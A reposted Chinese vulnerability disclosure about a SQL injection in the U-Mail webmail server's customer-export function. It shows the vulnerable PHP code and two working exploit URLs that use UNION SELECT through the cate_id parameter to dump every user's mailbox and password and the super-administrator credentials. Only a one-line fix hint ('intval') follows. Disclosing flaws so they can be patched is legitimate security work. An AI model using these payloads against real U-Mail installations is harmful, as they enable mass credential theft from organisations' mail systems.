网站地图    收藏   

主页 > 后端 > 网站安全 >

U-Mail邮件服务系统存在漏洞可获取所有用户密码

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 产品介绍(摘自官网)U-Mail专注于电子邮件领域15年,为企业轻松搭建最安全稳定的电子邮件系统软件。关键字:15年 最安全 最稳定涉及:金融、政府、银行,石油、军队、证券行业等重要...

#1 产品介绍




U-Mail邮件服务器,为企业轻松搭建最安全稳定的电子邮件系统软件。U-Mail专注于电子邮件领域15年,将广大企事业单位对邮箱服务器软件稳定安全的各类需求,与电子邮件应用管理的多样化、个性化为目标做深入开发,最大化拓展企业邮箱系统功能的灵活性和稳定性,使之成为政府部门、大专院校、中小学校、企事业集团和从事销售企业邮箱软件的网络服务商、集成商最理想的企业邮局系统架设软件。



支持数字证书服务并提供强大的管理功能,可直接在WebMail中撰写或阅读经过数字签名或数字加密的安全邮件(S/MIME)。提供军事级别的高安全强度(4096位DH/DSS加密或2048位RSA加密);



使用TLS/SSL标准安全套接字层通讯协议(1024位RSA加密),支持包括 SSL SMTP, SSL POP3, SSL IMAP4 安全通讯服务,防止网络侦听,使得通信更安全。


#2 先来说说真正的漏洞

漏洞文件



/client/cab/module/operates.php



代码如下(代码是Zend加密的,但是呢..)
 

if ( ACTION == "customer-export" )
{
$cate_id = gss( $_GET['cate_id'] ) ? gss( $_GET['cate_id'] ) : "-1";
if ( $cate_id )
{
$data_cache = $CAB->getCategoryByDomainID( $domain_id, 0 );
$where = "domain_id='".$domain_id."'";
if ( $cate_id == "-1" )
{
$cate_id = 0;
}
if ( $cate_id )
{
$Tree = $CAB->getTreeObject( );
$Tree->set_data_cache( $data_cache );
$Tree->sort_data( -1, 1 );
$cate_ids = $Tree->get_child_id( $cate_id );
$where .= " AND cate_id IN (".$cate_ids.")";
}
$customer_list = $CAB->get_customer( array(
"fields" => "*",
"where" => $where,
"debug" => 0
) );
$cate_list = create_array( $data_cache, "cate_id", "name" );
$string = "\"".el( "名称", "" )."\",\"".el( "邮箱", "" )."\",\"".el( "电话号码", "" )."\",\"".el( "分类", "" )."\",\"".el( "备注", "" )."\",\"".el( "生日", "" )."\",\"".el( "性别", "" )."\",\"".el( "单位电话", "" )."\",\"".el( "住宅电话", "" )."\",\"".el( "QQ", "" )."\",\"".el( "MSN", "" )."\"\n";
if ( $customer_list )
{
foreach ( $customer_list as $user )
{
$string .= "\"".$user['fullname']."\",";
$string .= "\"".$user['pref_email']."\",";
$string .= "\"".$user['pref_tel']."\",";
$string .= "\"".$cate_list[$user['cate_id']]."\",";
$string .= "\"".$user['remark']."\",";
$string .= "\"".$user['birthday']."\",";
$string .= "\"".$user['gender']."\",";
$string .= "\"".$user['work_tel']."\",";
$string .= "\"".$user['home_tel']."\",";
$string .= "\"".$user['im_qq']."\",";
$string .= "\"".$user['im_msn']."\",";
$string .= "\r\n";
}
}
}
if ( get_session( "language" ) == "zh" )
{
$out_data = iconv( "UTF-8", "GBK", $string );
}
else
{
$out_data = $string;
}
header( "Content-type: text/plain" );
header( "Content-Disposition: attachment; filename=Address.csv" );
header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header( "Expires: 0" );
header( "Pragma: public" );
echo $out_data;
exit( );
}





$where .= " AND cate_id IN (".$cate_ids.")";

带入查询。


 

http://192.168.0.119/webmail/client/cab/index.php?module=operate&action=customer-export&cate_id=0) union select 1,2,3,mailbox,5,6,password,8,9,10,11,12,13,14,15 from userlist%23




 

1.jpg




 

2.jpg





超级管理员在这个表,同样一键脱下所有
 

http://192.168.0.119/webmail/client/cab/index.php?module=operate&action=customer-export&cate_id=0) union select 1,2,3,usr_name,5,6,password,8,9,10,11,12,13,14,15 from web_usr%23

修复方案:

数组遍历,intval

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论